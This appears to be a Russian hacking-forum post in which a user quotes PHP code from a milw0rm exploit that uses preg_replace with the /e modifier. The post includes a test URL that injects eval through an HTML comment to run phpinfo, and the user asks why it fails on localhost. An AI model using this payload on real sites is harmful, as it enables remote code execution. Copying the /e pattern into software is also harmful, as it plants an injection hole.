ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Вообщем есть сплойт.

Код:

http://milw0rm.com/exploits/4851

Даже если забиваю этого кусок кода на локальхост

PHP код:


		
			
$source = htmlspecialchars($text);



        $source = preg_replace(

        '/&lt;!--(.*?)--&gt;/es',

        '"<span style=\"color: ".$options["color"]["comment"].";\">&lt;!--".

        str_replace("&lt;","&lt;<!-- -->",

        str_replace("=","=<!-- -->",

        "$1")).

        "--&gt;</span>"',

        $source);

и тестю

Код:

html.php?text=%3C!--{${eval($s)}}--%3E&s=phpinfo();

И собсна он не выполняет phpinfo...Вопрос почему?...в регурялках я не разбираюсь пока....в чём соль? версия php?